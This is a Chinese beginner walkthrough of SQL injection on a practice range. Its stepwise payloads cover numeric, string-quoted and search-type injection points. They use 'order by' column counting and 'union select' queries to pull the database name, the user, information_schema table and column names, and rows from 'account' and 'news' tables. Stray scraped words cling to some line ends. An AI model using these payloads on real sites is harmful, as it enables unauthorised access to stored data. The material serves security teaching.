SQL注入靶場實戰-小白入門

SQL注入

數字型

1.測試有無測試點

and 1=1,and 1=2

2.order by 語句判斷字段長,查出字段爲3

  • order by 語句用於根據指定的列對結果集進行排序sql

  • order by後能夠加列名,也能夠加數字(表明第幾列)數據庫

id = 1 order by 3(數字) //返回正常
id = 1 order by 4(數字) //返回異常       //說明字段長爲3

3.猜出字段位(必須與內部字段數一致)(用union聯合查詢查看回顯點爲2,3)

id= -1 union select 1,2,3

4.猜數據庫名,用戶

id =-1 union select 1,database(),user()

5.聯合查詢(group_concat())點表明下一級,猜解當前數據庫pentest中全部的表名。

id= -1 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database()

6.猜列名( account 表和 news 表)

id= -1 union select 1,group_concat(column_name),3 from information_schema.columns where table_name='account'

id= -1 union select 1,group_concat(column_name),3 from information_schema.columns where table_name='news'

7.查詢表中的數據

id= -1 union select 1,group_concat(id,'--',title,'--',content),3 from news limit 0,1

id= -1 union select 1,group_concat(Id,'--',rest,'--',own),3 from account limit 0,1


字符型

1.判斷是否存在注入

1' or '1'='1      //返回正常
1' or '1'='2	  //返回異常

2.接下來利用order by判斷字段長,帶入SQL查詢語句可直接查詢出數據(查詢語句和數字型同樣)

1' order by 3#       //返回正常
1' order by 4# 		 //返回異常

//注意#號用途:#起註釋做用,會註釋掉後面的' 單行註釋還可用-- (--後面需加一個空格)測試

//注意後面的SQL查詢語句末尾都得加一個#rest


搜索型

1.搜索型須要多閉合一個%,其餘都與前面相似

  • 首先判斷注入點code

    1%' or 1=1#
    1%' or 1=2#

    下面就和前面數字型步驟同樣,帶入查詢語句便可orm

    1%' union select 1,database(),user()#    	  //好比這裏查詢數據庫名和用戶
相關文章
相關標籤/搜索